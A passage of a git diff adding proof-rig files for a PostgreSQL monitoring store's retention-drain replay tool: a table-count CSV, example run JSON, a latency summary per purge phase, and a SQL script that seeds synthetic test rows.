+"pg_plan_capture","0","0","0","0","100","False",""
+"pg_server_config","0","0","0","0","100","False",""
+"pg_wraparound_stats","0","0","0","0","100","False",""
+"plan_cache_stats","0","0","0","0","100","False",""
+"pg_xmin_horizon","0","0","0","0","100","False",""
+"plan_correction","0","0","0","0","100","False",""
+"procedure_stats","0","0","0","0","100","False",""
+"pvs_stats","0","0","0","0","100","False",""
+"query_snapshots","0","0","0","0","100","False",""
+"running_jobs","0","0","0","0","100","False",""
+"server_properties","0","0","0","0","100","False",""
+"session_stats","0","0","0","0","100","False",""
+"session_summary_stats","0","0","0","0","100","False",""
+"spinlock_stats","0","0","0","0","100","False",""
+"system_health_events","0","0","0","0","100","False",""
+"tempdb_stats","0","0","0","0","100","False",""
+"pg_write_stats","0","0","0","0","100","False",""
+"pg_log_events","0","0","0","0","100","False",""
+"pg_io_stats","0","0","0","0","100","False",""
+"pg_kernel_stats","0","0","0","0","100","False",""
+"ag_replica_states","0","0","0","0","100","False",""
+"agent_status","0","0","0","0","100","False",""
+"blocked_process_reports","0","0","0","0","100","False",""
+"cpu_scheduler_stats","0","0","0","0","100","False",""
+"database_size_stats","0","0","0","0","100","False",""
+"database_states","0","0","0","0","100","False",""
+"deadlocks","0","0","0","0","100","False",""
+"default_trace_events","0","0","0","0","100","False",""
+"dmv_blocking_snapshots","0","0","0","0","100","False",""
+"index_object_stats","0","0","0","0","100","False",""
+"job_history","0","0","0","0","100","False",""
+"latch_stats","0","0","0","0","100","False",""
+"long_query_completions","0","0","0","0","100","False",""
+"pg_lock_stats","0","0","0","0","100","False",""
+"memory_clerks","0","0","0","0","100","False",""
+"memory_pressure_events","0","0","0","0","100","False",""
+"memory_stats","0","0","0","0","100","False",""
+"pg_autovacuum_stats","0","0","0","0","100","False",""
+"pg_blocking_edges","0","0","0","0","100","False",""
+"pg_buffer_usage","0","0","0","0","100","False",""
+"pg_column_stats","0","0","0","0","100","False",""
+"pg_cpu_utilization","0","0","0","0","100","False",""
+"pg_database_size_stats","0","0","0","0","100","False",""
+"pg_database_stats","0","0","0","0","100","False",""
+"pg_deadlocks","0","0","0","0","100","False",""
+"pg_extension_availability","0","0","0","0","100","False",""
+"pg_index_bloat","0","0","0","0","100","False",""
+"pg_index_usage_stats","0","0","0","0","100","False",""
+"memory_grant_stats","0","0","0","0","100","False",""
+"waiting_tasks","0","0","0","0","100","False",""
diff --git a/tools/drain-ab-replay/proof/example-output/run.json b/tools/drain-ab-replay/proof/example-output/run.json
new file mode 100644
index 0000000000..d86ae9089e
--- /dev/null
+++ b/tools/drain-ab-replay/proof/example-output/run.json
@@ -0,0 +1,64 @@
+{
+  "started_utc": "2026-10-08 20:30:49",
+  "ended_utc": "2026-10-08 20:34:12",
+  "stop_reason": "fixed duration 200 s",
+  "server_version": "PostgreSQL 18.6 on x86_64-windows, compiled by msvc-19.44.35228, 64-bit",
+  "has_pg_stat_io": true,
+  "clock_offset_seconds": 0.0,
+  "clients": 3,
+  "tx_per_sec": 1.1303935185185185,
+  "rate_scale": 20.0,
+  "coverage_percent": 99.99999999999999,
+  "rate_window": "2026-10-07 20:29:36.024805 .. 2026-10-08 20:29:36.024805",
+  "scripts": [
+    {
+      "no": 0,
+      "name": "perfmon_stats",
+      "weight": 61,
+      "batch": 60,
+      "tx_per_sec_at_scale_1": 0.0034
+    },
+    {
+      "no": 1,
+      "name": "wait_stats",
+      "weight": 62,
+      "batch": 40,
+      "tx_per_sec_at_scale_1": 0.0035
+    },
+    {
+      "no": 2,
+      "name": "file_io_stats",
+      "weight": 62,
+      "batch": 20,
+      "tx_per_sec_at_scale_1": 0.0035
+    },
+    {
+      "no": 3,
+      "name": "query_stats",
+      "weight": 61,
+      "batch": 15,
+      "tx_per_sec_at_scale_1": 0.0034
+    },
+    {
+      "no": 4,
+      "name": "collection_log",
+      "weight": 368,
+      "batch": 1,
+      "tx_per_sec_at_scale_1": 0.0208
+    },
+    {
+      "no": 5,
+      "name": "cpu_utilization_stats",
+      "weight": 358,
+      "batch": 1,
+      "tx_per_sec_at_scale_1": 0.0202
+    },
+    {
+      "no": 6,
+      "name": "query_store_stats",
+      "weight": 30,
+      "batch": 12,
+      "tx_per_sec_at_scale_1": 0.0017
+    }
+  ]
+}
diff --git a/tools/drain-ab-replay/proof/example-output/summary.md b/tools/drain-ab-replay/proof/example-output/summary.md
new file mode 100644
index 0000000000..e4bc3df9a1
--- /dev/null
+++ b/tools/drain-ab-replay/proof/example-output/summary.md
@@ -0,0 +1,54 @@
+# Drain replay summary: proof
+
+- Run started: 2026-10-08 20:30:49 UTC, ended: 2026-10-08 20:34:12 UTC, stop reason: fixed duration 200 s
+- Server version: PostgreSQL 18.6 on x86_64-windows, compiled by msvc-19.44.35228, 64-bit; pg_stat_io: sampled
+- Clients: 3, rate: 1.13 tx/s (rate scale 20), tables in the mix: 7, measured coverage: 100.0% of the store's hourly rows
+
+## Per phase
+
+A phase is the table the retention backend was deleting from (a pause of up to 10 s between batches stays in the phase). "no drain" is every second with no retention DELETE seen. Latency is the replayed write transaction (BEGIN to COMMIT), from pgbench --log.
+
+| phase | start_utc | end_utc | seconds | rows_deleted | rows_per_sec | tx_per_sec | lat_p50_ms | lat_p95_ms | lat_max_ms | lag_p95_ms | lag_max_ms | active_samples | io_wait_share_pct | lock_wait_share_pct | lwlock_wait_share_pct | wal_mb_per_sec |
+|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
+| no drain | 2026-10-08 20:31:21 | 2026-10-08 20:34:13 | 99 |  |  | 1.1 | 13.5 | 144.2 | 459.2 | 77.4 | 325.2 | 0 |  |  |  | 0.08 |
+| wait_stats | 2026-10-08 20:30:46 | 2026-10-08 20:31:21 | 35 | 0 | 0.0 | 1.0 | 13.9 | 220.9 | 275.6 | 175.3 | 262.4 | 0 |  |  |  | 0.03 |
+| perfmon_stats | 2026-10-08 20:31:45 | 2026-10-08 20:32:22 | 37 | 8000 | 216.2 | 0.8 | 17.0 | 261.8 | 275.3 | 248.1 | 252.1 | 0 |  |  |  | 0.05 |
+| file_io_stats | 2026-10-08 20:32:44 | 2026-10-08 20:33:20 | 36 | 8000 | 222.2 | 1.2 | 11.4 | 254.6 | 719.5 | 94.8 | 308.9 | 0 |  |  |  | 0.10 |
+
+lag_* is pgbench schedule lag: how late a transaction started against its slot in the rate schedule (the closest thing to a skipped collection slot).
+
+## Latency by replayed table, per phase
+
+| phase | script | tx | p50_ms | p95_ms | max_ms |
+|---|---|---|---|---|---|
+| no drain | perfmon_stats | 7 | 29.7 | 144.2 | 144.2 |
+| no drain | wait_stats | 1 | 12.0 | 12.0 | 12.0 |
+| no drain | file_io_stats | 5 | 16.6 | 40.0 | 40.0 |
+| no drain | query_stats | 3 | 57.4 | 85.5 | 85.5 |
+| no drain | collection_log | 42 | 12.0 | 49.3 | 179.9 |
+| no drain | cpu_utilization_stats | 45 | 11.3 | 153.3 | 250.7 |
+| no drain | query_store_stats | 5 | 30.8 | 459.2 | 459.2 |
+| wait_stats | perfmon_stats | 6 | 12.8 | 17.3 | 17.3 |
+| wait_stats | wait_stats | 4 | 7.8 | 16.8 | 16.8 |
+| wait_stats | file_io_stats | 5 | 10.8 | 15.0 | 15.0 |
+| wait_stats | query_stats | 3 | 29.1 | 39.9 | 39.9 |
+| wait_stats | collection_log | 7 | 13.4 | 220.9 | 220.9 |
+| wait_stats | cpu_utilization_stats | 11 | 15.8 | 275.6 | 275.6 |
+| perfmon_stats | wait_stats | 3 | 27.2 | 34.5 | 34.5 |
+| perfmon_stats | file_io_stats | 5 | 17.6 | 275.3 | 275.3 |
+| perfmon_stats | query_stats | 1 | 254.4 | 254.4 | 254.4 |
+| perfmon_stats | collection_log | 12 | 14.6 | 94.5 | 94.5 |
+| perfmon_stats | cpu_utilization_stats | 10 | 15.4 | 261.8 | 261.8 |
+| file_io_stats | perfmon_stats | 1 | 60.3 | 60.3 | 60.3 |
+| file_io_stats | wait_stats | 4 | 15.4 | 17.2 | 17.2 |
+| file_io_stats | file_io_stats | 4 | 8.8 | 187.6 | 187.6 |
+| file_io_stats | query_stats | 3 | 29.9 | 719.5 | 719.5 |
+| file_io_stats | collection_log | 15 | 9.5 | 334.6 | 334.6 |
+| file_io_stats | cpu_utilization_stats | 15 | 11.1 | 103.3 | 103.3 |
+| file_io_stats | query_store_stats | 3 | 20.2 | 21.7 | 21.7 |
+
+## Service retention log lines
+
+- 2026-10-08 20:31:00 [INF] Retention purge drained 20000 row(s) from wait_stats in 5 batch(es) (cap 4000), cutoff 2026-09-28 00:00Z
+- 2026-10-08 20:33:00 [INF] Retention purge: 3 table(s) purged, 40000 row(s) deleted, 0 chunk(s) dropped, 0 failed, 150000ms
+
diff --git a/tools/drain-ab-replay/proof/seed-proof-rig.sql b/tools/drain-ab-replay/proof/seed-proof-rig.sql
new file mode 100644
index 0000000000..5021dc7023
--- /dev/null
+++ b/tools/drain-ab-replay/proof/seed-proof-rig.sql
@@ -0,0 +1,108 @@
+-- Seeds a SMALL, freshly migrated Darling store so Invoke-DrainAbReplay.ps1 has something to measure.
+-- For the throwaway rig only (this file inserts directly; the replay tool itself never does that).
+--
+--   * 3 servers, all disabled (the replay tool's safety check passes without -IKnowThisIsACopy).
+--   * About 25 hours of recent collector rows in 7 tables, so the tool can measure a per-table rate.
+--   * A backlog of old rows (12 days) in 3 tables for Start-FakeRetention.ps1 to delete.
+--
+-- Usage: psql -d <db> -f seed-proof-rig.sql
+
+INSERT INTO collect.servers (server_id, server_name, is_enabled)
+VALUES (1, 'replay-a', false), (2, 'replay-b', false), (3, 'replay-c', false)
+ON CONFLICT DO NOTHING;
+
+CREATE OR REPLACE FUNCTION pg_temp.seed_value(col text, typ text, ts timestamp, sid int, g bigint) RETURNS text
+LANGUAGE sql AS $$
+    SELECT CASE
+        WHEN col = 'collection_time' THEN format('%L::timestamp', ts)
+        WHEN col = 'server_id' THEN sid::text
+        WHEN col = 'server_name' THEN format('%L', 'replay-' || chr(96 + sid))
+        WHEN col IN ('collection_id', 'log_id') THEN format('((extract(epoch FROM clock_timestamp()) * 1000000)::bigint * 4096 + gs * 7 + %s)', sid)
+        WHEN typ LIKE 'timestamp%' THEN format('%L::timestamp', ts - interval '5 minutes')
+        WHEN typ = 'boolean' THEN 'false'
+        WHEN typ = 'smallint' THEN '3'
+        WHEN typ = 'integer' THEN (g % 1000)::text
+        WHEN typ = 'bigint' THEN (g * 13 % 100000)::text
+        WHEN typ IN ('double precision', 'real') THEN (g % 500)::text
+        WHEN typ LIKE 'numeric(%' THEN '1.5'
+        WHEN typ = 'numeric' THEN '1.5'
+        WHEN typ IN ('text') OR typ LIKE 'character%' THEN format('%L', 'seed-' || (g % 50))
+        WHEN typ = 'date' THEN 'current_date'
+        WHEN typ = 'bytea' THEN 'NULL'
+        ELSE 'NULL'
+    END
+$$;
+
+DO $$
+DECLARE
+    spec record;
+    cols text;
+    vals text;
+    c record;
+    sid int;
+    h int;
+    g int;
+    ts timestamp;
+BEGIN
+    -- (table, rows per collection, collections per server per hour, backlog rows)
+    FOR spec IN
+        SELECT * FROM (VALUES
+            ('wait_stats', 40, 2, 20000),
+            ('perfmon_stats', 60, 2, 20000),
+            ('file_io_stats', 20, 2, 20000),
+            ('query_stats', 15, 2, 0),
+            ('query_store_stats', 12, 1, 0),
+            ('cpu_utilization_stats', 1, 12, 0),
+            ('collection_log', 1, 12, 0)
+        ) AS v(tbl, per_batch, per_hour, backlog)
+    LOOP
+        FOR sid IN 1..3 LOOP
+            FOR h IN 0..24 LOOP
+                FOR g IN 1..spec.per_hour LOOP
+                    ts := (now() AT TIME ZONE 'UTC') - make_interval(hours => h, mins => (g * 7) % 50);
+                    cols := ''; vals := '';
+                    FOR c IN
+                        SELECT a.attname AS name, format_type(a.atttypid, a.atttypmod) AS typ
+                        FROM pg_attribute a
+                        WHERE a.attrelid = ('collect.' || spec.tbl)::regclass AND a.attnum > 0 AND NOT a.attisdropped
+                        AND NOT (a.atthasdef OR a.attidentity <> '' OR a.attgenerated <> '')
+                        ORDER BY a.attnum
+                    LOOP
+                        cols := cols || CASE WHEN cols = '' THEN '' ELSE ', ' END || quote_ident(c.name);
+                        vals := vals || CASE WHEN vals = '' THEN '' ELSE ', ' END || pg_temp.seed_value(c.name, c.typ, ts, sid, 0) ;
+                    END LOOP;
+                    EXECUTE format('INSERT INTO collect.%I (%s) SELECT %s FROM generate_series(1, %s) AS gs',
+                                   spec.tbl, cols, vals, spec.per_batch);
+                END LOOP;
+            END LOOP;
+        END LOOP;
+
+        IF spec.backlog > 0 THEN
+            cols := ''; vals := '';
+            FOR c IN
+                SELECT a.attname AS name, format_type(a.atttypid, a.atttypmod) AS typ
+                FROM pg_attribute a
+                WHERE a.attrelid = ('collect.' || spec.tbl)::regclass AND a.attnum > 0 AND NOT a.attisdropped
+                AND NOT (a.atthasdef OR a.attidentity <> '' OR a.attgenerated <> '')
+                ORDER BY a.attnum
+            LOOP
+                cols := cols || CASE WHEN cols = '' THEN '' ELSE ', ' END || quote_ident(c.name);
+                IF c.name = 'collection_time' THEN
+                    vals := vals || CASE WHEN vals = '' THEN '' ELSE ', ' END
+                        || '(now() AT TIME ZONE ''UTC'') - interval ''12 days'' - (gs % 600) * interval ''1 minute''';
+                ELSIF c.name IN ('collection_id', 'log_id') THEN
+                    vals := vals || CASE WHEN vals = '' THEN '' ELSE ', ' END || '(900000000000 + gs)::bigint * 1000 + ' || length(spec.tbl);
+                ELSIF c.name = 'server_id' THEN
+                    vals := vals || CASE WHEN vals = '' THEN '' ELSE ', ' END || '(gs % 3 + 1)';
+                ELSE
+                    vals := vals || CASE WHEN vals = '' THEN '' ELSE ', ' END || pg_temp.seed_value(c.name, c.typ, now() AT TIME ZONE 'UTC' - interval '12 days', 1, 0);
+                END IF;
+            END LOOP;
+            EXECUTE format('INSERT INTO collect.%I (%s) SELECT %s FROM generate_series(1, %s) AS gs',
+                           spec.tbl, cols, vals, spec.backlog);
+        END IF;
+    END LOOP;
+END
+$$;
+
+ANALYZE;